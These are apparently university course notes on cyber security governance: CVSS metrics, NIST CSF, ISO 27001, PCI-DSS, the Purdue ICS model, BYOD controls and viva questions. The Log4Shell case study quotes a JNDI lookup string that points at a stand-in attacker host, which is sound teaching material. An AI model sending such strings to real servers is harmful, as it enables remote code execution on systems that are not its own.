

OE-EC803C — Cyber Security

Semester VIII • 3L:0T:0P • 3 Credits

Module 2: Cyber Security Objectives, Guidance & Frameworks

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1. Cyber Security Metrics & Vulnerability Counting

Cyber Security Metrics quantify the effectiveness of an enterprise security management system and provide decision-makers with actionable performance indicators.

Definition: Operational Security Metrics & Vulnerability Counting

- **Mean Time to Detect (MTTD):** Average time elapsed between a security compromise occurring and its detection by Security Operations Center (SOC) analysts.
- **Mean Time to Respond/Remediate (MTTR):** Average time required to contain, eradicate, and restore systems after a verified security incident.
- **Counting Vulnerabilities:** Systematic quantification of software security flaws across an enterprise. Standardized using Common Vulnerabilities and Exposures (CVE) IDs cataloged in the NIST National Vulnerability Database (NVD).
- **Common Vulnerability Scoring System (CVSS):** Open industry standard for measuring software flaw severity (0.0 to 10.0 scale).

1.1 CVSS v3.1 Metric Vectors

CVSS computes a base score combining Exploitability and Impact metrics:

1. **Attack Vector (AV):** Network (N), Adjacent (A), Local (L), Physical (P).
2. **Attack Complexity (AC):** Low (L) vs High (H).
3. **Privileges Required (PR):** None (N), Low (L), High (H).
4. **User Interaction (UI):** None (N) vs Required (R).
5. **Scope (S):** Unchanged (U) vs Changed (C).
6. **CIA Impact (C/I/A):** High (H), Low (L), None (N).

CVSS Score Range	Severity Rating	SLA Patching Requirement
0.0	None	No vulnerability action required.
0.1 – 3.9	Low	Remediate during routine quarterly maintenance.
4.0 – 6.9	Medium	Apply vendor patch within 30 days.
7.0 – 8.9	High	Apply vendor security update within 7 days.
9.0 – 10.0	Critical	Emergency hotfix required within 24–48 hours.

Real-World Case Study: Log4Shell Vulnerability (CVE-2021-44228)

1. **CVSS Rating:** Perfect **10.0 Critical** score ('AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H').
2. **Flaw Mechanism:** Apache Log4j2 Java logging library improperly parsed JNDI lookups (e.g. '\$jndi:ldap://attacker.com/a').

3. **Impact:** Allowed unauthenticated attackers to execute arbitrary Remote Code Execution (RCE) on millions of enterprise web servers worldwide with a single HTTP text string.

2. Security Frameworks & Guidance for Decision-Makers

Enterprise security frameworks provide structured guidelines to establish, audit, and maintain security baselines for executive decision-makers.

NIST Cybersecurity Framework (CSF) 5 Core Cycle



2.1 ISO/IEC 27001 ISMS Controls

ISO/IEC 27001 is the international certifiable standard for an Information Security Management System (ISMS):

- **Plan-Do-Check-Act (PDCA) Cycle:** Continuous security governance improvement model.
- **Annex A Controls (93 Controls):** Grouped into 4 themes: Organizational Controls (37), People Controls (8), Physical Controls (14), and Technological Controls (34).

3. Sector-Specific Systems: E-Commerce, ICS & Mobile

3.1 PCI-DSS E-Commerce Security Architecture

The Payment Card Industry Data Security Standard (PCI-DSS v4.0) mandates 12 core security requirements across 6 goals:

PCI-DSS Core Goal	Mandatory Security Control Requirement
Secure Network	Install and maintain firewalls; prohibit vendor default passwords.
Protect Cardholder Data	Encrypt cardholder data in transit (TLS 1.3) and at rest (AES-256).
Vulnerability Program	Protect systems against malware; develop secure web apps (OWASP Top 10).
Strong Access Control	Restrict access by business need-to-know; enforce MFA for all access.
Monitor & Test Networks	Track and monitor all network access; perform quarterly penetration tests.
Information Security Policy	Maintain formal security policy and conduct annual compliance audits.

3.2 Industrial Control Systems (ICS / SCADA) and Purdue Model

Operational Technology (OT) manages physical industrial processes (power grids, oil pipelines):

- **Purdue Enterprise Reference Architecture (PERA):**

- *Level 0–1:* Physical process sensors, actuators, and Programmable Logic Controllers (PLCs).
- *Level 2:* Control systems (SCADA HMIs, operator consoles).
- *Level 3:* Site manufacturing operations (historians, OT monitoring).
- *Level 3.5:* Industrial Demilitarized Zone (IDMZ) air gap firewalls separating OT from enterprise IT (Levels 4–5).

3.3 Personal Mobile Devices & BYOD

Bring Your Own Device (BYOD) allows personal employee devices on corporate networks:

- **MDM Controls:** Enforcing storage encryption, remote wipe capabilities, and passcode length.
- **App Containerization:** Creating encrypted sandboxed zones separating personal apps from corporate email/data.

4. Security Management Goals, Policy Taxonomy & Documentation

4.1 Arriving at Goals & Tone at the Top

- **Tone at the Top:** Executive leadership's active support, funding, and visible enforcement of security policies across the enterprise.
- **Arriving at Goals:** Translating business strategies into specific, measurable security policy objectives (SMART goals: Specific, Measurable, Achievable, Relevant, Time-bound).

4.2 Policy as a Project

Managing policy authoring through formal project management phases:

Initiation → Drafting → Stakeholder Review → Legal Approval → Publication → Annual Maintenance

4.3 Cyber Security Documentation, Taxonomy & Catalog Format

- **The Catalog Approach:** A centralized, version-controlled repository structuring all corporate security policies under a standardized taxonomy.
- **Catalog Format:** Every policy document follows a mandatory structured format: Header/ID, Purpose, Scope, Policy Statements, Compliance Roles, Enforcement Penalties, Exception Process, and Version History.
- **Cyber Security Policy Taxonomy:** Hierarchical classification system grouping policies logically into Operational, Administrative, Technical, and Physical domains.

Quick Revision — Module 2

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Key Concepts and Metrics at a Glance

NIST CSF Core 5	Identify, Protect, Detect, Respond, Recover.
CVSS Score Ranges	Critical (9.0–10.0), High (7.0–8.9), Medium (4.0–6.9), Low (0.1–3.9).
PCI-DSS Standard	12 mandatory security goals for organizations processing credit card payments.
Log4Shell Flaw	CVSS 10.0 Remote Code Execution (RCE) flaw in Apache Log4j2 JNDI parsing.
Purdue Level 3.5	Industrial DMZ (IDMZ) air gap isolating OT control networks from enterprise IT.

One-Line Definitions

- **Tone at the Top:** Visible executive backing essential for organizational security compliance.
- **MDM Containerization:** Encrypted sandboxing separating corporate data from personal phone storage.
- **SCADA HMI:** Human-Machine Interface allowing operators to control industrial physical machinery.
- **MTTD / MTTR:** Mean Time to Detect vs Mean Time to Respond/Remediate security breaches.

Frequently Asked / Viva Questions

Q1. Name the 5 core functions of the NIST Cybersecurity Framework (CSF).

Identify, Protect, Detect, Respond, and Recover.

Q2. What is CVSS and how are its score ranges categorized?

Common Vulnerability Scoring System (0–10 scale): Low (0.1–3.9), Medium (4.0–6.9), High (7.0–8.9), Critical (9.0–10.0).

Q3. Explain the Log4Shell (CVE-2021-44228) case study.

A CVSS 10.0 flaw in Log4j2 where unauthenticated JNDI lookup strings executed arbitrary Remote Code Execution (RCE) on servers.

Q4. What is PCI-DSS and what does it mandate for cardholder data?

Payment Card Industry Data Security Standard; mandates encrypted storage (AES-256), TLS 1.3 transit encryption, and quarterly vulnerability scans.

Q5. Explain the Purdue Model Level 3.5 in OT/SCADA security.

Frequently Asked / Viva Questions (contd.)

The Industrial DMZ (IDMZ) containing firewalls and proxy servers that physically and logically separate enterprise IT networks from critical OT plant networks.

Q6. What is Mobile Device Management (MDM)?

An enterprise administration platform enforcing passcode complexity, storage encryption, containerization, and remote wipe capabilities on smartphones.

Q7. Differentiate between MTTD and MTTR.

MTTD measures average time taken to detect a breach; MTTR measures average time taken to contain and remediate the breach.

Q8. What is ISO/IEC 27001 Annex A?

A set of 93 security controls across 4 operational themes (Organizational, People, Physical, Technological) required for ISMS certification.

Q9. What is Tone at the Top in security management?

Executive leadership's active support, funding, and personal adherence to security policies, establishing an organizational security culture.

Q10. Explain the concept of Policy as a Project.

Structuring policy creation through formal lifecycle phases: Initiation → Drafting → Stakeholder Review → Approval → Publication → Maintenance.

Q11. What is a CVE ID?

A unique public identifier (e.g. CVE-2023-1234) assigned to specific software security vulnerabilities cataloged in the NIST NVD.

Q12. Why are legacy SCADA systems difficult to patch?

Because industrial PLCs require 24/7 continuous operation, cannot tolerate software reboot downtime, and lack basic hardware encryption support.

Q13. What is App Containerization in BYOD mobile security?

Creating an encrypted, isolated partition on an employee's personal device to run corporate apps without accessing personal photos or data.

Q14. Explain the 4 themes of ISO/IEC 27001:2022 controls.

Organizational Controls (37), People Controls (8), Physical Controls (14), and Technological Controls (34).

Q15. What is an SLA in vulnerability remediation?

Service Level Agreement dictating mandatory timeframes to patch vulnerabilities based on CVSS severity (e.g., Critical patched within 24–48 hours).

Summary Comparison: Industry Security Frameworks

Framework	Primary Focus	Audit Type	Target Audience
NIST CSF	Risk Reduction	Self-Assessment	Critical Infrastructure & Enterprise
ISO/IEC 27001	Formal ISMS Audit	Accredited Third-Party	Global Corporations
PCI-DSS v4.0	Payment Card Safety	Qualified Assessor	Merchants & Gateways
CIS Controls	Technical Defenses	Implementation Group	SOC & IT Engineers